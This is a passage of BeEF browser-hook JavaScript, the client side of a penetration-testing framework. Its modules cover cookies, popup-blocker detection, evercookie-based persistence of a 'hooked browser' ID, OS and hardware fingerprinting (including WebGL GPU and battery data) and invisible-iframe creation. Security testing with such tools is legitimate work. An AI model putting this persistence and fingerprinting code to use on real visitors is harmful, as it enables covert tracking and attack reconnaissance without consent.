  10004.                         if ( this.getCookie(name) ) document.cookie = name + "=" +
  10005.                         ( ( path ) ? ";path=" + path : "") +
  10006.                         ( ( domain ) ? ";domain=" + domain : "" ) +
  10007.                         ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  10008.                 },
  10009.  
  10010.             /** @memberof beef.browser.cookie */
  10011.                 cookieValueRandomizer: function (){
  10012.                         var to_hell= '';
  10013.                         var min = 17;
  10014.                         var max = 25;
  10015.                         var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  10016.  
  10017.                         var grunt = function(){
  10018.                                 var moo = Math.floor(Math.random() * 62);
  10019.                                 var char = '';
  10020.                                 if(moo < 36){
  10021.                                         char = String.fromCharCode(moo + 55);
  10022.                                 }else{
  10023.                                         char = String.fromCharCode(moo + 61);
  10024.                                 }
  10025.                                 if(char != ';' && char != '='){
  10026.                                         return char;
  10027.                                 }else{
  10028.                                         return 'x';
  10029.                                 }
  10030.                         };
  10031.  
  10032.                         while(to_hell.length < lol_length){
  10033.                                 to_hell += grunt();
  10034.                         }
  10035.                         return to_hell;
  10036.                 },
  10037.                 /** @memberof beef.browser.cookie */
  10038.                 hasSessionCookies: function (name){
  10039.                         this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), '', '/', '', '' );
  10040.  
  10041.                         cookiesEnabled = (this.getCookie(name) == null)? false:true;
  10042.                         this.deleteCookie(name, '/', '');
  10043.                         return cookiesEnabled;
  10044.                        
  10045.                 },
  10046.                 /** @memberof beef.browser.cookie */
  10047.                 hasPersistentCookies: function (name){
  10048.                         this.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), 1, '/', '', '' );
  10049.  
  10050.                         cookiesEnabled = (this.getCookie(name) == null)? false:true;
  10051.                         this.deleteCookie(name, '/', '');
  10052.                         return cookiesEnabled;
  10053.                        
  10054.                 }      
  10055.                                        
  10056. };
  10057.  
  10058. beef.regCmp('beef.browser.cookie');
  10059.  
  10060. //
  10061. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  10062. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  10063. // See the file 'doc/COPYING' for copying permission
  10064. //
  10065.  
  10066. /**
  10067.  * Provides fuctions for working with cookies.
  10068.  * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  10069.  * Original author unknown.
  10070.  * @namespace beef.browser.popup
  10071.  */
  10072. beef.browser.popup = {
  10073.                 /** @memberof beef.browser.popup */
  10074.                 blocker_enabled: function ()
  10075.                 {
  10076.                         screenParams = beef.hardware.getScreenSize();
  10077.                         var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  10078.                         if (popUp == null || typeof(popUp)=='undefined') {  
  10079.                                 return true;
  10080.                         } else {  
  10081.                                 popUp.close();
  10082.                                 return false;
  10083.                         }
  10084.                 }
  10085. };
  10086.  
  10087. beef.regCmp('beef.browser.popup');
  10088.  
  10089.  
  10090. //
  10091. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  10092. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  10093. // See the file 'doc/COPYING' for copying permission
  10094. //
  10095.  
  10096. /**
  10097.  * Provides basic session functions.
  10098.  * @namespace beef.session
  10099.  */
  10100. beef.session = {
  10101.        
  10102.         hook_session_id_length: 80,
  10103.         hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",       
  10104.         ec: new evercookie(),
  10105.     beefhook: "BEEFHOOK",
  10106.        
  10107.         /**
  10108.          * Gets a string which will be used to identify the hooked browser session
  10109.          *
  10110.          * @example: var hook_session_id = beef.session.get_hook_session_id();
  10111.          */
  10112.         get_hook_session_id: function() {
  10113.                 // check if the browser is already known to the framework
  10114.                 var id = this.ec.evercookie_cookie(beef.session.beefhook);
  10115.                 if (typeof id == 'undefined') {
  10116.                         var id = this.ec.evercookie_userdata(beef.session.beefhook);
  10117.                 }
  10118.                 if (typeof id == 'undefined') {
  10119.                         var id = this.ec.evercookie_window(beef.session.beefhook);
  10120.                 }
  10121.                
  10122.                 // if the browser is not known create a hook session id and set it
  10123.                 if ((typeof id == 'undefined') || (id == null)) {
  10124.                         id = this.gen_hook_session_id();
  10125.                         this.set_hook_session_id(id);
  10126.                 }
  10127.                
  10128.                 // return the hooked browser session identifier
  10129.                 return id;
  10130.         },
  10131.        
  10132.         /**
  10133.          * Sets a string which will be used to identify the hooked browser session
  10134.          *
  10135.          * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  10136.          */
  10137.         set_hook_session_id: function(id) {
  10138.                 // persist the hook session id
  10139.                 this.ec.evercookie_cookie(beef.session.beefhook, id);
  10140.                 this.ec.evercookie_userdata(beef.session.beefhook, id);
  10141.                 this.ec.evercookie_window(beef.session.beefhook, id);
  10142.         },
  10143.        
  10144.         /**
  10145.          * Generates a random string using the chars in hook_session_id_chars.
  10146.          *
  10147.          * @example: beef.session.gen_hook_session_id();
  10148.          */
  10149.         gen_hook_session_id: function() {
  10150.             // init the return value
  10151.                 var hook_session_id = "";
  10152.                
  10153.                 // construct the random string
  10154.                 for(var i=0; i<this.hook_session_id_length; i++) {
  10155.                   var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  10156.                   hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  10157.                 }
  10158.                
  10159.                 return hook_session_id;
  10160.         }
  10161. };
  10162.  
  10163. beef.regCmp('beef.session');
  10164.  
  10165.  
  10166. //
  10167. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  10168. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  10169. // See the file 'doc/COPYING' for copying permission
  10170. //
  10171.  
  10172. /** @namespace beef.os */
  10173.  
  10174. beef.os = {
  10175.  
  10176.         ua: navigator.userAgent,
  10177.  
  10178.         /**
  10179.           * Detect default browser (IE only)
  10180.           * Written by unsticky
  10181.           * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  10182.           * @return {string}
  10183.           */
  10184.         getDefaultBrowser: function() {
  10185.                 var result = "Unknown"
  10186.                 try {
  10187.                         var mt = document.mimeType;
  10188.                         if (mt) {
  10189.                                 if (mt == "Safari Document")       result = "Safari";
  10190.                                 if (mt == "Firefox HTML Document") result = "Firefox";
  10191.                                 if (mt == "Chrome HTML Document")  result = "Chrome";
  10192.                                 if (mt == "HTML Document")         result = "Internet Explorer";
  10193.                                 if (mt == "Opera Web Document")    result = "Opera";
  10194.                         }
  10195.                 } catch (e) {
  10196.                         beef.debug("[os] getDefaultBrowser: "+e.message);
  10197.                 }
  10198.                 return result;
  10199.         },
  10200.        
  10201.         // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  10202.         /**
  10203.          * @return {boolean}
  10204.          */
  10205.         isWin311: function() {
  10206.                 return (this.ua.match('(Win16)')) ? true : false;
  10207.         },
  10208.         /**
  10209.          * @return {boolean}
  10210.          */
  10211.         isWinNT4: function() {
  10212.                 return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  10213.         },
  10214.         /**
  10215.          * @return {boolean}
  10216.          */
  10217.         isWin95: function() {
  10218.                 return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  10219.         },
  10220.         /**
  10221.          * @return {boolean}
  10222.          */
  10223.         isWinCE: function() {
  10224.                 return (this.ua.match('(Windows CE)')) ? true : false;
  10225.         },
  10226.         /**
  10227.          * @return {boolean}
  10228.          */
  10229.         isWin98: function() {
  10230.                 return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  10231.         },
  10232.         /**
  10233.          * @return {boolean}
  10234.          */
  10235.         isWinME: function() {
  10236.                 return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  10237.         },
  10238.         /**
  10239.          * @return {boolean}
  10240.          */
  10241.         isWin2000: function() {
  10242.                 return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  10243.         },
  10244.         /**
  10245.          * @return {boolean}
  10246.          */
  10247.         isWin2000SP1: function() {
  10248.                 return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  10249.         },
  10250.         /**
  10251.          * @return {boolean}
  10252.          */
  10253.         isWinXP: function() {
  10254.                 return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  10255.         },
  10256.         /**
  10257.          * @return {boolean}
  10258.          */
  10259.         isWinServer2003: function() {
  10260.                 return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  10261.         },
  10262.         /**
  10263.          * @return {boolean}
  10264.          */
  10265.         isWinVista: function() {
  10266.                 return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  10267.         },
  10268.         /**
  10269.          * @return {boolean}
  10270.          */
  10271.         isWin7: function() {
  10272.                 return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  10273.         },
  10274.         /**
  10275.          * @return {boolean}
  10276.          */
  10277.         isWin8: function() {
  10278.                 return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  10279.         },     
  10280.         /**
  10281.          * @return {boolean}
  10282.          */
  10283.         isWin81: function() {
  10284.                 return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  10285.         },
  10286.         /**
  10287.          * @return {boolean}
  10288.          */
  10289.         isWin10: function() {
  10290.                 return (this.ua.match('Windows NT 10.0')) ? true : false;
  10291.         },
  10292.         /**
  10293.          * @return {boolean}
  10294.          */
  10295.         isOpenBSD: function() {
  10296.                 return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  10297.         },
  10298.         /**
  10299.          * @return {boolean}
  10300.          */
  10301.         isSunOS: function() {
  10302.                 return (this.ua.indexOf('SunOS') != -1) ? true : false;
  10303.         },
  10304.         /**
  10305.          * @return {boolean}
  10306.          */
  10307.         isLinux: function() {
  10308.                 return (this.ua.match('(Linux)|(X11)')) ? true : false;
  10309.         },
  10310.         /**
  10311.          * @return {boolean}
  10312.          */
  10313.         isMacintosh: function() {
  10314.                 return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  10315.         },
  10316.         /**
  10317.          * @return {boolean}
  10318.          */
  10319.         isOsxYosemite: function(){ // TODO
  10320.                 return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  10321.         },
  10322.         /**
  10323.          * @return {boolean}
  10324.          */
  10325.         isOsxMavericks: function(){ // TODO
  10326.                 return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  10327.         },
  10328.         /**
  10329.          * @return {boolean}
  10330.          */
  10331.         isOsxSnowLeopard: function(){ // TODO
  10332.                 return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  10333.         },
  10334.         /**
  10335.          * @return {boolean}
  10336.          */
  10337.         isOsxLeopard: function(){ // TODO
  10338.                 return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  10339.         },
  10340.         /**
  10341.          * @return {boolean}
  10342.          */
  10343.         isWinPhone: function() {
  10344.                 return (this.ua.match('(Windows Phone)')) ? true : false;
  10345.         },
  10346.         /**
  10347.          * @return {boolean}
  10348.          */
  10349.         isIphone: function() {
  10350.                 return (this.ua.indexOf('iPhone') != -1) ? true : false;
  10351.         },
  10352.         /**
  10353.          * @return {boolean}
  10354.          */
  10355.         isIpad: function() {
  10356.                 return (this.ua.indexOf('iPad') != -1) ? true : false;
  10357.         },
  10358.         /**
  10359.          * @return {boolean}
  10360.          */
  10361.         isIpod: function() {
  10362.                 return (this.ua.indexOf('iPod') != -1) ? true : false;
  10363.         },
  10364.         /**
  10365.          * @return {boolean}
  10366.          */
  10367.         isNokia: function() {
  10368.                 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  10369.         },
  10370.         /**
  10371.          * @return {boolean}
  10372.          */
  10373.         isAndroid: function() {
  10374.                 return (this.ua.match('Android')) ? true : false;
  10375.         },
  10376.         /**
  10377.          * @return {boolean}
  10378.          */
  10379.         isBlackBerry: function() {
  10380.                 return (this.ua.match('BlackBerry')) ? true : false;
  10381.         },
  10382.         /**
  10383.          * @return {boolean}
  10384.          */
  10385.         isWebOS: function() {
  10386.                 return (this.ua.match('webOS')) ? true : false;
  10387.         },
  10388.         /**
  10389.          * @return {boolean}
  10390.          */
  10391.         isQNX: function() {
  10392.                 return (this.ua.match('QNX')) ? true : false;
  10393.         },
  10394.         /**
  10395.          * @return {boolean}
  10396.          */
  10397.         isBeOS: function() {
  10398.                 return (this.ua.match('BeOS')) ? true : false;
  10399.         },
  10400.         /**
  10401.          * @return {boolean}
  10402.          */
  10403.         isAros: function() {
  10404.                         return (this.ua.match('AROS')) ? true : false;
  10405.         },
  10406.         /**
  10407.          * @return {boolean}
  10408.          */
  10409.         isWindows: function() {
  10410.                 return (this.ua.match('Windows')) ? true : false;
  10411.         },
  10412.         /**
  10413.          * @return {string}
  10414.          */
  10415.         getName: function() {
  10416.                
  10417.                 if(this.isWindows()){
  10418.                         return 'Windows';
  10419.                 }
  10420.  
  10421.                 if(this.isMacintosh()) {
  10422.                         return 'OSX';
  10423.                 }
  10424.  
  10425.                 //Nokia
  10426.                 if(this.isNokia()) {
  10427.                         if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  10428.                         if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  10429.                         if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  10430.                 }
  10431.  
  10432.                 // BlackBerry
  10433.                 if(this.isBlackBerry()) return 'BlackBerry OS';
  10434.  
  10435.                 // Android
  10436.                 if(this.isAndroid()) return 'Android';
  10437.  
  10438.                 // SunOS
  10439.                 if(this.isSunOS()) return 'SunOS';
  10440.  
  10441.                 //Linux
  10442.                 if(this.isLinux()) return 'Linux';
  10443.  
  10444.                 //iPhone
  10445.                 if (this.isIphone()) return 'iOS';
  10446.                 //iPad
  10447.                 if (this.isIpad()) return 'iOS';
  10448.                 //iPod
  10449.                 if (this.isIpod()) return 'iOS';
  10450.                
  10451.                 //others
  10452.                 if(this.isQNX()) return 'QNX';
  10453.                 if(this.isBeOS()) return 'BeOS';
  10454.                 if(this.isWebOS()) return 'webOS';
  10455.                 if(this.isAros()) return 'AROS';
  10456.                
  10457.                 return 'unknown';
  10458.         },
  10459.  
  10460.   /**
  10461.     * Get OS architecture.
  10462.     * This may not be the same as the browser arch or CPU arch.
  10463.     * ie, 32bit OS on 64bit hardware
  10464.     */
  10465.   getArch: function() {
  10466.     var arch = 'unknown';
  10467.     try {
  10468.       var arch = platform.os.architecture;
  10469.       if (!!arch)
  10470.         return arch;
  10471.     } catch (e) {}
  10472.  
  10473.     return arch;
  10474.   },
  10475.  
  10476.   /**
  10477.     * Get OS family
  10478.     */
  10479.   getFamily: function() {
  10480.     var family = 'unknown';
  10481.     try {
  10482.       var family = platform.os.family;
  10483.       if (!!family)
  10484.         return family;
  10485.     } catch (e) {}
  10486.  
  10487.     return arch;
  10488.   },
  10489.  
  10490.   /**
  10491.     * Get OS name
  10492.         * @return {string}
  10493.     */
  10494.         getVersion: function(){
  10495.                 //Windows
  10496.                 if(this.isWindows()) {
  10497.                         if (this.isWin10())         return '10';
  10498.                         if (this.isWin81())         return '8.1';
  10499.                         if (this.isWin8())          return '8';
  10500.                         if (this.isWin7())          return '7';
  10501.                         if (this.isWinVista())      return 'Vista';
  10502.                         if (this.isWinXP())         return 'XP';
  10503.                         if (this.isWinServer2003()) return 'Server 2003';
  10504.                         if (this.isWin2000SP1())    return '2000 SP1';
  10505.                         if (this.isWin2000())       return '2000';
  10506.                         if (this.isWinME())         return 'Millenium';
  10507.  
  10508.                         if (this.isWinNT4())        return 'NT 4';
  10509.                         if (this.isWinCE())         return 'CE';
  10510.                         if (this.isWin95())         return '95';
  10511.                         if (this.isWin98())         return '98';
  10512.                 }
  10513.  
  10514.                 // OS X
  10515.                 if(this.isMacintosh()) {
  10516.                         if (this.isOsxYosemite())        return '10.10';
  10517.                         if (this.isOsxMavericks())       return '10.9';
  10518.                         if (this.isOsxSnowLeopard())     return '10.8';
  10519.                         if (this.isOsxLeopard())         return '10.7';
  10520.                 }
  10521.  
  10522.                 // TODO add Android/iOS version detection
  10523.         }
  10524. };
  10525.  
  10526. beef.regCmp('beef.net.os');
  10527.  
  10528.  
  10529. //
  10530. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  10531. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  10532. // See the file 'doc/COPYING' for copying permission
  10533. //
  10534.  
  10535. /**
  10536.  * @namespace beef.hardware
  10537.  */
  10538.  
  10539. beef.hardware = {
  10540.  
  10541.   ua: navigator.userAgent,
  10542.  
  10543.   /**
  10544.    * @return {String} CPU type
  10545.    */
  10546.   getCpuArch: function() {
  10547.     var arch = 'UNKNOWN';
  10548.     // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  10549.     // in detecting the OS arch rather than the browser build
  10550.     if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  10551.       arch = 'x86_64';
  10552.     }else if(typeof navigator.cpuClass != 'undefined'){
  10553.       switch (navigator.cpuClass) {
  10554.         case '68K':
  10555.           arch = 'Motorola 68K';
  10556.           break;
  10557.         case 'PPC':
  10558.           arch = 'Motorola PPC';
  10559.           break;
  10560.         case 'Digital':
  10561.           arch = 'Alpha';
  10562.           break;
  10563.         default:
  10564.           arch = 'x86';
  10565.       }
  10566.     }
  10567.     // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  10568.     // For example, if OSX is at least 10.7, most certainly is 64 bit.
  10569.     return arch;
  10570.   },
  10571.  
  10572.   /**
  10573.    * Returns number of CPU cores
  10574.    * @return {String}
  10575.    */
  10576.   getCpuCores: function() {
  10577.     var cores = 'unknown';
  10578.     try {
  10579.       if(typeof navigator.hardwareConcurrency != 'undefined') {
  10580.         cores = navigator.hardwareConcurrency;
  10581.       }
  10582.     } catch(e) {
  10583.       cores = 'unknown';
  10584.     }
  10585.     return cores;
  10586.   },
  10587.  
  10588.   /**
  10589.    * Returns CPU details
  10590.    * @return {String}
  10591.    */
  10592.   getCpuDetails: function() {
  10593.     return {
  10594.       arch: beef.hardware.getCpuArch(),
  10595.       cores: beef.hardware.getCpuCores()
  10596.     }
  10597.   },
  10598.  
  10599.   /**
  10600.    * Returns GPU details
  10601.    * @return {object}
  10602.    */
  10603.   getGpuDetails: function() {
  10604.     var gpu = 'unknown';
  10605.     var vendor = 'unknown';
  10606.     // use canvas technique:
  10607.     // https://github.com/Valve/fingerprintjs2
  10608.     // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/
  10609.     try {
  10610.       var getWebglCanvas = function () {
  10611.         var canvas = document.createElement('canvas')
  10612.         var gl = null
  10613.         try {
  10614.           gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')
  10615.         } catch (e) { }
  10616.         if (!gl) { gl = null }
  10617.         return gl;
  10618.       }
  10619.  
  10620.       var glContext = getWebglCanvas();
  10621.       var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');
  10622.       var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);
  10623.       var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);
  10624.       beef.debug("GPU: " + gpu + " - Vendor: " + vendor);
  10625.     } catch (e) {
  10626.       beef.debug('Failed to detect WebGL renderer: ' + e.toString());
  10627.     }
  10628.     return {
  10629.       gpu: gpu,
  10630.       vendor: vendor
  10631.     }
  10632.   },
  10633.  
  10634.   /**
  10635.    * Returns RAM (GiB)
  10636.    * @return {String}
  10637.    */
  10638.   getMemory: function() {
  10639.     var memory = 'unknown';
  10640.     try {
  10641.       if(typeof navigator.deviceMemory != 'undefined') {
  10642.         memory = navigator.deviceMemory;
  10643.       }
  10644.     } catch(e) {
  10645.       memory = 'unknown';
  10646.     }
  10647.     return memory;
  10648.   },
  10649.  
  10650.   /**
  10651.    * Returns battery details
  10652.    * @return {Object}
  10653.    */
  10654.   getBatteryDetails: function() {
  10655.     var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
  10656.  
  10657.     if (!!battery) {
  10658.       return {
  10659.         chargingStatus: battery.charging,
  10660.         batteryLevel: battery.level * 100 + "%",
  10661.         chargingTime: battery.chargingTime,
  10662.         dischargingTime: battery.dischargingTime
  10663.       }
  10664.     } else {
  10665.       return {
  10666.         chargingStatus: 'unknown',
  10667.         batteryLevel: 'unknown',
  10668.         chargingTime: 'unknown',
  10669.         dischargingTime: 'unknown'
  10670.       }
  10671.     }
  10672.   },
  10673.  
  10674.   /**
  10675.    * Returns zombie screen size and color depth.
  10676.    * @return {Object}
  10677.    */
  10678.   getScreenSize: function () {
  10679.     return {
  10680.       width: window.screen.width,
  10681.       height: window.screen.height,
  10682.       colordepth: window.screen.colorDepth
  10683.     }
  10684.   },
  10685.  
  10686.   /**
  10687.    * Is touch enabled?
  10688.    * @return {Boolean} true or false.
  10689.    */
  10690.   isTouchEnabled: function() {
  10691.     if ('ontouchstart' in document) return true;
  10692.     return false;
  10693.   },
  10694.  
  10695.   /**
  10696.    * Is virtual machine?
  10697.    * @return {Boolean} true or false.
  10698.    */
  10699.   isVirtualMachine: function() {
  10700.     if (this.getGpuDetails().vendor.match('VMware, Inc'))
  10701.       return true;
  10702.  
  10703.     if (this.isMobileDevice())
  10704.       return false;
  10705.  
  10706.     // if the screen resolution is uneven, and it's not a known mobile device
  10707.     // then it's probably a VM
  10708.     if (screen.width % 2 || screen.height % 2)
  10709.       return true;
  10710.  
  10711.     return false;
  10712.   },
  10713.  
  10714.   /**
  10715.    * Is a Laptop?
  10716.    * @return {Boolean} true or false.
  10717.    */
  10718.   isLaptop: function() {
  10719.     if (this.isMobileDevice()) return false;
  10720.     // Most common laptop screen resolution
  10721.     if (screen.width == 1366 && screen.height == 768) return true;
  10722.     // Netbooks
  10723.     if (screen.width == 1024 && screen.height == 600) return true;
  10724.     return false;
  10725.   },
  10726.  
  10727.   /**
  10728.    * Is Nokia?
  10729.    * @return {Boolean} true or false.
  10730.    */
  10731.   isNokia: function() {
  10732.     return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
  10733.   },
  10734.  
  10735.   /**
  10736.    * Is Zune?
  10737.    * @return {Boolean} true or false.
  10738.    */
  10739.   isZune: function() {
  10740.     return (this.ua.match('ZuneWP7')) ? true : false;
  10741.   },
  10742.  
  10743.   /**
  10744.    * Is HTC?
  10745.    * @return {Boolean} true or false.
  10746.    */
  10747.   isHtc: function() {
  10748.     return (this.ua.match('HTC')) ? true : false;
  10749.   },
  10750.  
  10751.   /**
  10752.    * Is Ericsson?
  10753.    * @return {Boolean} true or false.
  10754.    */
  10755.   isEricsson: function() {
  10756.     return (this.ua.match('Ericsson')) ? true : false;
  10757.   },
  10758.  
  10759.   /**
  10760.    * Is Motorola?
  10761.    * @return {Boolean} true or false.
  10762.    */
  10763.   isMotorola: function() {
  10764.     return (this.ua.match('Motorola')) ? true : false;
  10765.   },
  10766.  
  10767.   /**
  10768.    * Is Google?
  10769.    * @return {Boolean} true or false.
  10770.    */
  10771.   isGoogle: function() {
  10772.     return (this.ua.match('Nexus One')) ? true : false;
  10773.   },
  10774.  
  10775.   /**
  10776.    * Returns true if the browser is on a Mobile device
  10777.    * @return {Boolean} true or false
  10778.    *
  10779.    * @example: if(beef.hardware.isMobileDevice()) { ... }
  10780.    */
  10781.   isMobileDevice: function() {
  10782.     return MobileEsp.DetectMobileQuick();
  10783.   },
  10784.  
  10785.   /**
  10786.    * Returns true if the browser is on a game console
  10787.    * @return {Boolean} true or false
  10788.    *
  10789.    * @example: if(beef.hardware.isGameConsole()) { ... }
  10790.    */
  10791.   isGameConsole: function() {
  10792.     return MobileEsp.DetectGameConsole();
  10793.   },
  10794.  
  10795.   getName: function() {
  10796.     var ua = navigator.userAgent.toLowerCase();
  10797.     if(MobileEsp.DetectIphone())              { return "iPhone"};
  10798.     if(MobileEsp.DetectIpod())                { return "iPod Touch"};
  10799.     if(MobileEsp.DetectIpad())                { return "iPad"};
  10800.     if (this.isHtc())               { return 'HTC'};
  10801.     if (this.isMotorola())          { return 'Motorola'};
  10802.     if (this.isZune())              { return 'Zune'};
  10803.     if (this.isGoogle())            { return 'Google Nexus One'};
  10804.     if (this.isEricsson())          { return 'Ericsson'};
  10805.     if(MobileEsp.DetectAndroidPhone())        { return "Android Phone"};
  10806.     if(MobileEsp.DetectAndroidTablet())       { return "Android Tablet"};
  10807.     if(MobileEsp.DetectS60OssBrowser())       { return "Nokia S60 Open Source"};
  10808.     if(ua.search(MobileEsp.deviceS60) > -1)   { return "Nokia S60"};
  10809.     if(ua.search(MobileEsp.deviceS70) > -1)   { return "Nokia S70"};
  10810.     if(ua.search(MobileEsp.deviceS80) > -1)   { return "Nokia S80"};
  10811.     if(ua.search(MobileEsp.deviceS90) > -1)   { return "Nokia S90"};
  10812.     if(ua.search(MobileEsp.deviceSymbian) > -1)   { return "Nokia Symbian"};
  10813.     if (this.isNokia())             { return 'Nokia'};
  10814.     if(MobileEsp.DetectWindowsPhone7())       { return "Windows Phone 7"};
  10815.     if(MobileEsp.DetectWindowsPhone8())       { return "Windows Phone 8"};
  10816.     if(MobileEsp.DetectWindowsPhone10())      { return "Windows Phone 10"};
  10817.     if(MobileEsp.DetectWindowsMobile())       { return "Windows Mobile"};
  10818.     if(MobileEsp.DetectBlackBerryTablet())    { return "BlackBerry Tablet"};
  10819.     if(MobileEsp.DetectBlackBerryWebKit())    { return "BlackBerry OS 6"};
  10820.     if(MobileEsp.DetectBlackBerryTouch())     { return "BlackBerry Touch"};
  10821.     if(MobileEsp.DetectBlackBerryHigh())      { return "BlackBerry OS 5"};
  10822.     if(MobileEsp.DetectBlackBerry())          { return "BlackBerry"};
  10823.     if(MobileEsp.DetectPalmOS())              { return "Palm OS"};
  10824.     if(MobileEsp.DetectPalmWebOS())           { return "Palm Web OS"};
  10825.     if(MobileEsp.DetectGarminNuvifone())      { return "Gamin Nuvifone"};
  10826.     if(MobileEsp.DetectArchos())              { return "Archos"}
  10827.     if(MobileEsp.DetectBrewDevice())          { return "Brew"};
  10828.     if(MobileEsp.DetectDangerHiptop())        { return "Danger Hiptop"};
  10829.     if(MobileEsp.DetectMaemoTablet())         { return "Maemo Tablet"};
  10830.     if(MobileEsp.DetectSonyMylo())            { return "Sony Mylo"};
  10831.     if(MobileEsp.DetectAmazonSilk())          { return "Kindle Fire"};
  10832.     if(MobileEsp.DetectKindle())              { return "Kindle"};
  10833.     if(MobileEsp.DetectSonyPlaystation())                 { return "Playstation"};
  10834.     if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return "Nintendo DS"};
  10835.     if(ua.search(MobileEsp.deviceWii) > -1)               { return "Nintendo Wii"};
  10836.     if(ua.search(MobileEsp.deviceNintendo) > -1)          { return "Nintendo"};
  10837.     if(MobileEsp.DetectXbox())                            { return "Xbox"};
  10838.     if(this.isLaptop())                         { return "Laptop"};
  10839.     if(this.isVirtualMachine())                 { return "Virtual Machine"};
  10840.  
  10841.     return 'Unknown';
  10842.   }
  10843. };
  10844.  
  10845. beef.regCmp('beef.hardware');
  10846.  
  10847.  
  10848. //
  10849. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  10850. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  10851. // See the file 'doc/COPYING' for copying permission
  10852. //
  10853.  
  10854. /**
  10855.  * Provides functionality to manipulate the DOM.
  10856.  * @namespace beef.dom
  10857.  */
  10858. beef.dom = {
  10859.        
  10860.         /**
  10861.          * Generates a random ID for HTML elements
  10862.          * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
  10863.          * @return {String} generated id
  10864.          */
  10865.         generateID: function(prefix) {
  10866.                 return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
  10867.         },     
  10868.                
  10869.         /**
  10870.          * Creates a new element but does not append it to the DOM.
  10871.          * @param {String} type the name of the element.
  10872.          * @param {Array} attributes the attributes of that element.
  10873.          * @return {Array} the created element.
  10874.          */
  10875.         createElement: function(type, attributes) {
  10876.                 var el = document.createElement(type);
  10877.                
  10878.                 for(index in attributes) {
  10879.                         if(typeof attributes[index] == 'string') {
  10880.                                 el.setAttribute(index, attributes[index]);
  10881.                         }
  10882.                 }
  10883.                
  10884.                 return el;
  10885.         },
  10886.        
  10887.         /**
  10888.          * Removes element from the DOM.
  10889.          * @param {Object} el the target element to be removed.
  10890.          */
  10891.         removeElement: function(el) {
  10892.                 if (!beef.dom.isDOMElement(el))
  10893.                 {
  10894.                         el = document.getElementById(el);
  10895.                 }
  10896.                 try {
  10897.                         el.parentNode.removeChild(el);
  10898.                 } catch (e) { }
  10899.         },
  10900.        
  10901.         /**
  10902.          * Tests if the object is a DOM element.
  10903.          * @param {Object} the DOM element.
  10904.          * @return {boolean} true if the object is a DOM element.
  10905.          */
  10906.         isDOMElement: function(obj) {
  10907.                 return (obj.nodeType) ? true : false;
  10908.         },
  10909.        
  10910.         /**
  10911.          * Creates an invisible iframe on the hook browser's page.
  10912.          * @return {array} the iframe.
  10913.          */
  10914.         createInvisibleIframe: function() {
  10915.                 var iframe = this.createElement('iframe', {
  10916.                                 width: '1px',
  10917.                                 height: '1px',
  10918.                                 style: 'visibility:hidden;'
  10919.                         });
  10920.                
  10921.                 document.body.appendChild(iframe);
  10922.                
  10923.                 return iframe;
  10924.         },
  10925.  
  10926.         /**
  10927.          * Returns the highest current z-index
  10928.          * @param {Boolean} whether to return an associative array with the height AND the ID of the element
  10929.          * @return {Integer} Highest z-index in the DOM
